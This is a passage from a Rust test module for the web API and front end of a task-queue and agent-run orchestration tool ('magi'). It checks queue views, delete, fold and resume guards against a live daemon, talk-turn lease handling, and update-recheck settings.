20629 q.put(&mut t).expect("put t");
20630
20631 let res = fx.get("/api/queue").await;
20632 assert_eq!(res.status, 200);
20633 let list = res.json();
20634 let view = list
20635 .as_array()
20636 .expect("array")
20637 .iter()
20638 .find(|v| v["id"] == t.id)
20639 .expect("task in list");
20640 assert_eq!(view["status_str"], "blocked");
20641 assert_eq!(
20642 view["blocked_by"],
20643 serde_json::json!(["20260101-000000-dead"])
20644 );
20645 assert_eq!(view["block_reason"], "waiting on Task 1");
20646 assert_eq!(view["answers"][0]["question"], "Which backend?");
20647 assert_eq!(view["answers"][0]["answer"], "SQLite");
20648
20649 let res = fx
20653 .post(&format!("/api/queue/{}/hold", t.short()), None)
20654 .await;
20655 assert_eq!(res.status, 200);
20656 let held = res.json();
20657 assert_eq!(held["status_str"], "held");
20658 assert_eq!(held["blocked_by"], serde_json::json!([]));
20659 assert!(held["block_reason"].is_null());
20660 assert_eq!(held["answers"][0]["answer"], "SQLite");
20661 }
20662
20663 #[tokio::test]
20664 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20665 let fx = Fixture::start().await;
20666 let q = fx.queue();
20667 let mk = |title: &str| {
20668 Task::new(
20669 title.to_owned(),
20670 "Instruction".to_owned(),
20671 PathBuf::from("/repo"),
20672 Source::Human,
20673 )
20674 };
20675 let mut root = mk("root");
20676 root.hold_manual(Some("waiting".to_owned()));
20677 q.put(&mut root).unwrap();
20678 let mut mid = mk("mid");
20679 mid.block(vec![root.id.clone()], None);
20680 q.put(&mut mid).unwrap();
20681 let mut leaf = mk("leaf");
20682 leaf.block(vec![mid.id.clone()], None);
20683 q.put(&mut leaf).unwrap();
20684
20685 let list = fx.get("/api/queue").await.json();
20686 let find = |id: &str| {
20687 list.as_array()
20688 .unwrap()
20689 .iter()
20690 .find(|v| v["id"] == id)
20691 .unwrap()
20692 .clone()
20693 };
20694 let leaf_view = find(&leaf.id);
20695 assert_eq!(
20696 leaf_view["waits_on"],
20697 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20698 );
20699 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20700 assert_eq!(
20701 find(&mid.id)["waits_on"],
20702 serde_json::json!([format!("{} (held)", root.short())])
20703 );
20704 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20705 }
20706
20707 #[tokio::test]
20708 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20709 let fx = Fixture::start().await;
20710 let q = fx.queue();
20711
20712 let mut t1 = Task::new(
20714 "Task 1".to_owned(),
20715 "Instruction 1".to_owned(),
20716 PathBuf::from("/repo"),
20717 Source::Human,
20718 );
20719 let run_id = "20260901-000000-r111";
20720 t1.runs.push(run_id.to_owned());
20721 write_run(&fx.runs(), run_id, RunStatus::Merged);
20722 q.put(&mut t1).expect("put t1");
20723
20724 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20726 assert_eq!(res.status, 204);
20727 assert!(res.body.is_empty(), "204 No Content has no body");
20728 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20729 assert!(
20730 fx.runs().join(run_id).exists(),
20731 "run directory must not be deleted when its task is deleted"
20732 );
20733
20734 let mut t2 = Task::new(
20736 "Task 2".to_owned(),
20737 "Instruction 2".to_owned(),
20738 PathBuf::from("/repo"),
20739 Source::Human,
20740 );
20741 t2.status = TaskStatus::Running;
20742 q.put(&mut t2).expect("put t2");
20743 let mut beat = crate::daemon::Status::new();
20744 beat.current = vec![crate::daemon::Current {
20745 task: t2.id.clone(),
20746 run: "20260901-000000-r222".to_owned(),
20747 }];
20748 beat.updated_at = jiff::Timestamp::now();
20749 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20750 .expect("publish a heartbeat");
20751 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20752 assert_eq!(res.status, 409);
20753 assert!(
20754 res.json()["error"]
20755 .as_str()
20756 .unwrap()
20757 .contains("live daemon")
20758 );
20759 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20760
20761 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20767 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20768 .expect("leave a stale heartbeat");
20769 let mut t3 = Task::new(
20770 "Task 3".to_owned(),
20771 "Instruction 3".to_owned(),
20772 PathBuf::from("/repo"),
20773 Source::Human,
20774 );
20775 t3.status = TaskStatus::Running;
20776 q.put(&mut t3).expect("put t3");
20777 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20778 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20779 assert_eq!(res.status, 204);
20780 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20781 assert!(
20782 q.claim(&t3.id).is_ok(),
20783 "the stale lock went with it, so the id is claimable again"
20784 );
20785
20786 let res = fx.delete("/api/queue/nonexistent").await;
20788 assert_eq!(res.status, 404);
20789 }
20790
20791 #[tokio::test]
20792 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20793 let fx = Fixture::start().await;
20794 let runs = fx.runs();
20795
20796 let run_id = "20260901-000000-fold";
20798 let mut state = RunState::new(
20799 PathBuf::from("/repo"),
20800 "main".to_owned(),
20801 "abc".to_owned(),
20802 "instruction".to_owned(),
20803 Config::default(),
20804 );
20805 state.id = run_id.to_owned();
20806 state.status = RunStatus::Merged;
20807 state.candidates.push(crate::run::Candidate {
20808 index: 0,
20809 label: 'A',
20810 agent: "a".to_owned(),
20811 branch: "b".to_owned(),
20812 worktree: PathBuf::from("/w"),
20813 summary: String::new(),
20814 stat: String::new(),
20815 files: 1,
20816 commits: 1,
20817 empty: false,
20818 failed: None,
20819 verified_noop: None,
20820 duration_ms: 0,
20821 folded: true,
20822 });
20823 let dir = runs.join(run_id);
20824 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20825 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20826 .expect("write artifact");
20827 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20828 .expect("write run.json");
20829
20830 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20832 assert_eq!(res.status, 204);
20833 assert!(res.body.is_empty(), "204 has no body");
20834 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20835
20836 let run_running = "20260901-000000-rung";
20841 write_run(&runs, run_running, RunStatus::Prep);
20842 let mut beat = crate::daemon::Status::new();
20843 beat.current = vec![crate::daemon::Current {
20844 task: "20260901-000000-task".to_owned(),
20845 run: run_running.to_owned(),
20846 }];
20847 beat.updated_at = jiff::Timestamp::now();
20848 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20849 .expect("publish a heartbeat");
20850 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20851 assert_eq!(res.status, 409);
20852 assert!(
20853 res.json()["error"]
20854 .as_str()
20855 .unwrap()
20856 .contains("live daemon"),
20857 "the refusal must say who is holding it"
20858 );
20859 assert!(
20860 runs.join(run_running).exists(),
20861 "a run in flight keeps its directory"
20862 );
20863
20864 let run_unfolded = "20260901-000000-unfd";
20866 let mut state2 = RunState::new(
20867 PathBuf::from("/repo"),
20868 "main".to_owned(),
20869 "abc".to_owned(),
20870 "instruction".to_owned(),
20871 Config::default(),
20872 );
20873 state2.id = run_unfolded.to_owned();
20874 state2.status = RunStatus::Ready;
20875 state2.candidates.push(crate::run::Candidate {
20876 index: 0,
20877 label: 'A',
20878 agent: "a".to_owned(),
20879 branch: "b".to_owned(),
20880 worktree: PathBuf::from("/w"),
20881 summary: String::new(),
20882 stat: String::new(),
20883 files: 1,
20884 commits: 1,
20885 empty: false,
20886 failed: None,
20887 verified_noop: None,
20888 duration_ms: 0,
20889 folded: false,
20890 });
20891 let dir2 = runs.join(run_unfolded);
20892 std::fs::create_dir_all(&dir2).expect("create dir2");
20893 std::fs::write(
20894 dir2.join("run.json"),
20895 serde_json::to_string(&state2).unwrap(),
20896 )
20897 .expect("write run.json");
20898
20899 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20900 assert_eq!(res.status, 409);
20901 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20902 assert!(dir2.exists(), "unfolded run directory is kept");
20903
20904 let res = fx.delete("/api/runs/nonexistent").await;
20906 assert_eq!(res.status, 404);
20907 }
20908
20909 #[test]
20918 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20919 let start = APP_JS
20920 .find("function renderStats() {")
20921 .expect("renderStats");
20922 let end = start
20923 + APP_JS[start..]
20924 .find("function statsTile(")
20925 .expect("the next top-level function");
20926 let body = &APP_JS[start..end];
20927
20928 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20929 let gate_end = gate_start
20930 + body[gate_start..]
20931 .find("}\n renderStatsQueue")
20932 .expect("the gate's own closing brace, right before the unconditional call");
20933 let gated = &body[gate_start..gate_end];
20934
20935 assert_eq!(
20936 body.matches("renderStatsQueue(").count(),
20937 1,
20938 "renderStats must call renderStatsQueue exactly once: {body}"
20939 );
20940 assert!(
20941 !gated.contains("renderStatsQueue"),
20942 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20943 run-derived panels on an empty run history - the queue panel has to render \
20944 regardless: {gated}"
20945 );
20946 }
20947
20948 #[test]
20949 fn web_ui_delete_contract_in_front_end() {
20950 assert!(APP_JS.contains("deleteRun:"));
20952 assert!(APP_JS.contains("deleteTask:"));
20953
20954 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20956 ..APP_JS.find("function renderRuns").unwrap()];
20957 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20958
20959 assert!(APP_JS.contains("renderRunDelete"));
20961 assert!(APP_JS.contains("runDeleteReason"));
20962 assert!(APP_JS.contains("magi fold"));
20963 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20964
20965 assert!(APP_JS.contains("cancel.focus"));
20967 assert!(APP_JS.contains("armedRunDelete"));
20968 assert!(APP_JS.contains("renderTaskDeleteBox"));
20969 assert!(APP_JS.contains("armed${cap(key)}"));
20970
20971 assert!(APP_JS.contains("disabled: status === \"running\""));
20973 }
20974
20975 #[test]
20995 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20996 let build = APP_JS
20997 .find("function createRunCard")
20998 .expect("createRunCard exists");
20999 let update = APP_JS
21000 .find("function updateRunCard")
21001 .expect("updateRunCard exists");
21002 let end = APP_JS
21003 .find("function renderRuns")
21004 .expect("renderRuns exists");
21005
21006 let builder = &APP_JS[build..update];
21008 let open = builder.find("refs = {").expect("createRunCard sets refs");
21009 let literal = &builder[open + "refs = {".len()..];
21010 let close = literal.find('}').expect("the refs literal is closed");
21011 let published: HashSet<&str> = literal[..close]
21012 .split(',')
21013 .filter_map(|entry| entry.split(':').next())
21015 .map(str::trim)
21016 .filter(|name| !name.is_empty())
21017 .collect();
21018 assert!(
21019 published.len() > 5,
21020 "the refs literal did not parse into names: {published:?}"
21021 );
21022
21023 let mut used: Vec<&str> = Vec::new();
21026 let updaters = &APP_JS[update..end];
21027 for (at, _) in updaters.match_indices("r.") {
21028 let before = updaters[..at].chars().next_back();
21031 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21032 continue;
21033 }
21034 let rest = &updaters[at + 2..];
21035 let len = rest
21036 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21037 .unwrap_or(rest.len());
21038 if len > 0 {
21039 used.push(&rest[..len]);
21040 }
21041 }
21042 assert!(
21043 used.len() > 5,
21044 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21045 );
21046
21047 let missing: Vec<&str> = used
21048 .iter()
21049 .copied()
21050 .filter(|name| !published.contains(name))
21051 .collect();
21052 assert!(
21053 missing.is_empty(),
21054 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21055 never put in `refs` - every card will throw and the list will \
21056 render empty under a count line that says otherwise. Published: \
21057 {published:?}"
21058 );
21059 }
21060
21061 #[tokio::test]
21062 async fn folding_from_the_phone_reports_what_it_removed() {
21063 let fx = Fixture::start().await;
21064 let runs = fx.runs();
21065
21066 let id = "20260901-000000-fold";
21070 write_run(&runs, id, RunStatus::Stalled);
21071 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21072 assert_eq!(res.status, 200);
21073 assert_eq!(res.json()["removed_count"], 0);
21074 assert_eq!(res.json()["run"], id);
21075 assert!(
21076 runs.join(id).exists(),
21077 "a fold keeps the run's record; only the worktrees go"
21078 );
21079 }
21080
21081 #[tokio::test]
21082 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21083 let fx = Fixture::start().await;
21084 let runs = fx.runs();
21085 let wt = fx.home.path().join("wt").join("magi").join("dead");
21086 let id = "20260901-000000-dead";
21087 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21088 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21089 std::fs::create_dir_all(&wt).expect("worktree dir");
21090
21091 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21092 assert_eq!(res.status, 200, "{}", res.body);
21093 assert!(
21094 res.json()["removed_count"].as_u64().unwrap() > 0,
21095 "the worktree this build could not read a state for still went"
21096 );
21097 assert!(
21098 !runs.join(id).exists(),
21099 "an unreadable run has no candidate list to fold selectively, so \
21100 the whole record goes - same as `magi fold` on the CLI"
21101 );
21102 }
21103
21104 #[tokio::test]
21105 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21106 let fx = Fixture::start().await;
21107 let runs = fx.runs();
21108 let wt = fx.home.path().join("wt").join("magi").join("gone");
21109 let id = "20260901-000000-gone";
21110 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21111 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21112 std::fs::create_dir_all(&wt).expect("worktree dir");
21113
21114 let res = fx.delete(&format!("/api/runs/{id}")).await;
21115 assert_eq!(res.status, 204, "{}", res.body);
21116 assert!(!runs.join(id).exists(), "the broken record is gone");
21117 assert!(!wt.exists(), "its worktree is gone too");
21118 }
21119
21120 #[tokio::test]
21121 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21122 let fx = Fixture::start().await;
21123 let runs = fx.runs();
21124 let id = "20260901-000000-live";
21125 write_run(&runs, id, RunStatus::Implementing);
21126
21127 let mut beat = crate::daemon::Status::new();
21128 beat.current = vec![crate::daemon::Current {
21129 task: "20260901-000000-task".to_owned(),
21130 run: id.to_owned(),
21131 }];
21132 beat.updated_at = jiff::Timestamp::now();
21133 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21134 .expect("publish a heartbeat");
21135
21136 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21137 assert_eq!(res.status, 409);
21138 assert!(
21139 res.json()["error"]
21140 .as_str()
21141 .unwrap()
21142 .contains("live daemon"),
21143 "folding under a running agent would pull its worktree away"
21144 );
21145 }
21146
21147 #[tokio::test]
21148 async fn fold_merged_requires_a_pr_url() {
21149 let fx = Fixture::start().await;
21150 let runs = fx.runs();
21151 let id = "20260901-000000-nourl";
21152 write_run(&runs, id, RunStatus::Blocked);
21153
21154 let res = fx
21155 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21156 .await;
21157 assert_eq!(res.status, 400, "{}", res.body);
21158
21159 let blank = fx
21160 .post(
21161 &format!("/api/runs/{id}/fold-merged"),
21162 Some(r#"{"pr_url":" "}"#),
21163 )
21164 .await;
21165 assert_eq!(blank.status, 400, "{}", blank.body);
21166 }
21167
21168 #[tokio::test]
21169 async fn fold_merged_is_404_for_an_unknown_run() {
21170 let fx = Fixture::start().await;
21171 let res = fx
21172 .post(
21173 "/api/runs/nosuchrun/fold-merged",
21174 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21175 )
21176 .await;
21177 assert_eq!(res.status, 404, "{}", res.body);
21178 }
21179
21180 #[tokio::test]
21181 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21182 let fx = Fixture::start().await;
21183 let runs = fx.runs();
21184 let id = "20260901-000000-livemerge";
21185 write_run(&runs, id, RunStatus::Blocked);
21186
21187 let mut beat = crate::daemon::Status::new();
21188 beat.current = vec![crate::daemon::Current {
21189 task: "20260901-000000-task".to_owned(),
21190 run: id.to_owned(),
21191 }];
21192 beat.updated_at = jiff::Timestamp::now();
21193 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21194 .expect("publish a heartbeat");
21195
21196 let res = fx
21197 .post(
21198 &format!("/api/runs/{id}/fold-merged"),
21199 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21200 )
21201 .await;
21202 assert_eq!(res.status, 409, "{}", res.body);
21203 assert!(
21204 res.json()["error"]
21205 .as_str()
21206 .unwrap()
21207 .contains("live daemon"),
21208 "correcting a run's merge underneath a running agent would race \
21209 whatever it is doing to the same `status`/`merge` fields"
21210 );
21211 }
21212
21213 #[tokio::test]
21218 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21219 let fx = Fixture::start().await;
21220 let runs = fx.runs();
21221 let id = "20260901-000000-unconfirmed";
21222 write_run(&runs, id, RunStatus::Blocked);
21223
21224 let res = fx
21225 .post(
21226 &format!("/api/runs/{id}/fold-merged"),
21227 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21228 )
21229 .await;
21230 assert_eq!(res.status, 400, "{}", res.body);
21231 assert_eq!(
21232 read_run(&runs, id).unwrap().status,
21233 RunStatus::Blocked,
21234 "a pull request that could not be confirmed merged must leave \
21235 the run exactly where it was"
21236 );
21237 }
21238
21239 #[tokio::test]
21240 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21241 let fx = Fixture::start().await;
21242 let runs = fx.runs();
21243
21244 for (status, word) in [
21250 (RunStatus::Merged, "merged"),
21251 (RunStatus::Ready, "ready"),
21252 (RunStatus::Failed, "failed"),
21253 ] {
21254 let id = format!("20260901-000000-{}", &word[..4]);
21255 write_run(&runs, &id, status);
21256 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21257 assert_eq!(res.status, 409, "{word} must not be resumable");
21258 let err = res.json()["error"].as_str().unwrap().to_owned();
21259 assert!(err.contains(word), "the refusal names the status: {err}");
21260 }
21261
21262 let mid = "20260901-000000-midf";
21267 write_run(&runs, mid, RunStatus::Reviewing);
21268 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21269 assert_eq!(res.status, 202, "an interrupted run is resumable");
21270 }
21271
21272 #[tokio::test]
21273 async fn resume_is_refused_while_the_loop_is_running() {
21274 let fx = Fixture::start().await;
21275 let runs = fx.runs();
21276 let stalled = "20260901-000000-stal";
21277 write_run(&runs, stalled, RunStatus::Stalled);
21278
21279 let mut beat = crate::daemon::Status::new();
21283 beat.current = vec![crate::daemon::Current {
21284 task: "20260901-000000-task".to_owned(),
21285 run: "20260901-000000-othr".to_owned(),
21286 }];
21287 beat.updated_at = jiff::Timestamp::now();
21288 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21289 .expect("publish a heartbeat");
21290
21291 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21292 assert_eq!(res.status, 409);
21293 let err = res.json()["error"].as_str().unwrap().to_owned();
21294 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21295 assert!(err.contains("stop it first"), "{err}");
21296 }
21297
21298 #[test]
21299 fn a_run_cannot_be_resumed_twice_at_once() {
21300 let home = TempDir::new().expect("temp home");
21301 let ui = Ui::new(
21302 Queue::at(home.path().join("queue")),
21303 Questions::at(home.path().join("questions")),
21304 Talks::at(home.path().join("talks")),
21305 home.path().join("runs"),
21306 home.path().to_path_buf(),
21307 PathBuf::from("/repo"),
21308 )
21309 .with_worktrees_root(home.path().join("wt"));
21310 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21311 let again = ui.begin_resume("20260901-000000-once");
21312 assert!(again.is_err(), "a second tap must not start a second graph");
21313 drop(first);
21314 assert!(
21315 ui.begin_resume("20260901-000000-once").is_ok(),
21316 "and the claim is released when the attempt ends"
21317 );
21318 }
21319
21320 #[test]
21321 fn talk_thinking_tracks_only_its_held_turn_claim() {
21322 let home = TempDir::new().expect("temp home");
21323 let ui = Ui::new(
21324 Queue::at(home.path().join("queue")),
21325 Questions::at(home.path().join("questions")),
21326 Talks::at(home.path().join("talks")),
21327 home.path().join("runs"),
21328 home.path().to_path_buf(),
21329 PathBuf::from("/repo"),
21330 )
21331 .with_worktrees_root(home.path().join("wt"));
21332 let id = "20260901-000000-once";
21333
21334 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21335 let turn = ui.begin_talk_turn(id).expect("claim turn");
21336 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21337 assert!(
21338 !ui.is_thinking("20260901-000000-other"),
21339 "one talk's turn does not make another talk busy"
21340 );
21341 drop(turn);
21342 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21343 }
21344
21345 #[test]
21346 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21347 let home = TempDir::new().expect("temp home");
21348 let talks = Talks::at(home.path().join("talks"));
21349 let ui = Ui::new(
21350 Queue::at(home.path().join("queue")),
21351 Questions::at(home.path().join("questions")),
21352 talks.clone(),
21353 home.path().join("runs"),
21354 home.path().to_path_buf(),
21355 PathBuf::from("/repo"),
21356 )
21357 .with_worktrees_root(home.path().join("wt"));
21358 let id = "20260901-000000-cross";
21359
21360 let other = Talks::at(home.path().join("talks"))
21361 .claim_turn(id)
21362 .expect("claim")
21363 .expect("the other process wins");
21364 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21365 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21366 assert!(
21367 matches!(
21368 ui.begin_talk_turn_unless_pending(id).expect("start"),
21369 TalkTurnStart::Foreign
21370 ),
21371 "a foreign holder is refused, not queued behind"
21372 );
21373 assert!(
21374 !ui.talk_turns.lock().unwrap().live.contains(id),
21375 "a refused claim leaves no in-process entry behind"
21376 );
21377 drop(other);
21378 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21379 assert!(talks.turn_held(id), "the web turn holds the lease");
21380 drop(turn);
21381 assert!(
21382 !talks.turn_held(id),
21383 "dropping the guard releases the lease"
21384 );
21385 }
21386
21387 fn consult_question(ui: &Ui) -> Question {
21388 let mut q = Question::new(
21389 "20260901-000000-consult".to_owned(),
21390 "implement".to_owned(),
21391 "impl-A".to_owned(),
21392 "Which backend?".to_owned(),
21393 String::new(),
21394 vec!["SQLite".to_owned(), "Redis".to_owned()],
21395 );
21396 ui.questions.put(&mut q).expect("question");
21397 q
21398 }
21399
21400 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21401 (
21402 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21403 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21404 )
21405 }
21406
21407 #[tokio::test]
21408 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21409 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21410 let q = consult_question(&ui);
21411 let talk = ui.talks.get(&id).expect("talk");
21412 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21413 let before = consult_snapshot(&ui, &q, &id);
21414 let cli_talks = Talks::at(ui.home.join("talks"));
21415 assert_eq!(
21416 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21417 .await
21418 .expect("CLI starter"),
21419 crate::consult::Started::Busy
21420 );
21421 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21422 assert!(ui.is_thinking(&id));
21423 drop(guard);
21424 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21425 }
21426
21427 #[tokio::test]
21428 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21429 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21430 let q = consult_question(&ui);
21431 let talk = ui.talks.get(&id).expect("talk");
21432 let started = tmp.path().join("started");
21433 let release = tmp.path().join("release");
21434 let script = tmp.path().join("consult-agent.sh");
21435 std::fs::write(
21436 &script,
21437 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21438 )
21439 .expect("script");
21440 let mut cfg = stub_config();
21441 cfg.agents[0].id = "mock".to_owned();
21442 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21443 cfg.agents[0].env = std::collections::BTreeMap::from([
21444 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21445 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21446 ]);
21447 let questions = ui.questions.clone();
21448 let cli_talks = Talks::at(ui.home.join("talks"));
21449 let cli_q = q.clone();
21450 let turn = tokio::spawn(async move {
21451 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21452 });
21453 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21454 while !started.exists() {
21455 tokio::time::sleep(Duration::from_millis(10)).await;
21456 }
21457 })
21458 .await;
21459 let refusal = if ready.is_ok() {
21462 let before = consult_snapshot(&ui, &q, &id);
21463 let result = talk_say(
21464 State(Arc::clone(&ui)),
21465 Path(id.clone()),
21466 Ok(Json(NewTalkTurn {
21467 reply_to: None,
21468 text: "another message".to_owned(),
21469 attachments: Vec::new(),
21470 })),
21471 )
21472 .await;
21473 Some((result, before, consult_snapshot(&ui, &q, &id)))
21474 } else {
21475 None
21476 };
21477 std::fs::write(&release, "").expect("release agent");
21478 let done = turn.await.expect("join CLI turn");
21479 ready.expect("agent started before deadline");
21480 let (result, before, after) = refusal.expect("web request");
21481 let error = result.expect_err("web must refuse the CLI's turn");
21482 assert_eq!(error.status, StatusCode::CONFLICT);
21483 assert!(error.message.contains("a turn is already running"));
21484 assert_eq!(
21485 after, before,
21486 "refusal preserves question, draft and history"
21487 );
21488 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21489 let guard = ui
21490 .begin_talk_turn(&id)
21491 .expect("web claim")
21492 .expect("free again");
21493 drop(guard);
21494 }
21495
21496 #[test]
21497 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21498 let home = TempDir::new().expect("temp home");
21499 let talks = Talks::at(home.path().join("talks"));
21500 let ui = Ui::new(
21501 Queue::at(home.path().join("queue")),
21502 Questions::at(home.path().join("questions")),
21503 talks.clone(),
21504 home.path().join("runs"),
21505 home.path().to_path_buf(),
21506 PathBuf::from("/repo"),
21507 )
21508 .with_worktrees_root(home.path().join("wt"));
21509 let id = "20260901-000000-order";
21510 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21511 let slots = ui.talk_turns.lock().unwrap();
21513 let dropper = std::thread::spawn(move || drop(turn));
21514 let start = std::time::Instant::now();
21515 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21516 std::thread::sleep(Duration::from_millis(5));
21517 }
21518 assert!(!talks.turn_held(id), "the lease is released first");
21519 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21520 drop(slots);
21521 dropper.join().expect("join");
21522 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21523 }
21524
21525 #[tokio::test]
21526 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21527 let fx = Fixture::start().await;
21528 let mut beat = crate::daemon::Status::new();
21532 beat.pid = 4321;
21533 beat.updated_at = jiff::Timestamp::now();
21534 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21535 .expect("publish a heartbeat");
21536
21537 let res = fx.post("/api/upgrade", None).await;
21538 assert_eq!(res.status, 409);
21539 let err = res.json()["error"].as_str().unwrap().to_owned();
21540 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21541 assert!(err.contains("old one against the same queue"), "{err}");
21542 }
21543
21544 #[test]
21551 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21552 assert!(!should_spawn_recheck(&crate::config::Update {
21553 mode: UpdateMode::Off,
21554 interval: None,
21555 }));
21556
21557 unsafe {
21560 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21561 }
21562 let killed = should_spawn_recheck(&crate::config::Update {
21563 mode: UpdateMode::Notify,
21564 interval: None,
21565 });
21566 unsafe {
21567 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21568 }
21569 assert!(
21570 !killed,
21571 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21572 one-time startup check"
21573 );
21574
21575 assert!(should_spawn_recheck(&crate::config::Update {
21576 mode: UpdateMode::Notify,
21577 interval: None,
21578 }));
21579 }
21580
21581 #[test]
21587 fn recheck_poll_period_tracks_a_short_configured_interval() {
21588 let short = crate::config::Update {
21589 mode: UpdateMode::Notify,
21590 interval: Some("1m".to_owned()),
21591 };
21592 let period = recheck_poll_period(&short);
21593 assert!(
21594 period <= Duration::from_secs(30),
21595 "a one-minute interval must wake the task far sooner than the \
21596 default ceiling, or the deck would not notice within the \
21597 interval the operator configured: got {period:?}"
21598 );
21599
21600 let default = crate::config::Update {
21601 mode: UpdateMode::Notify,
21602 interval: None,
21603 };
21604 assert_eq!(
21605 recheck_poll_period(&default),
21606 UPDATE_RECHECK_POLL_MAX,
21607 "the default day-long interval should poll at the (capped) \
21608 ceiling rather than needlessly often"
21609 );
21610 }
21611
21612 #[test]
21620 fn recheck_skips_the_network_before_the_interval_elapses() {
21621 let dir = TempDir::new().expect("temp dir");
21622 let path = dir.path().join("state.json");
21623 let state = kaishin::UpdateCheckState {
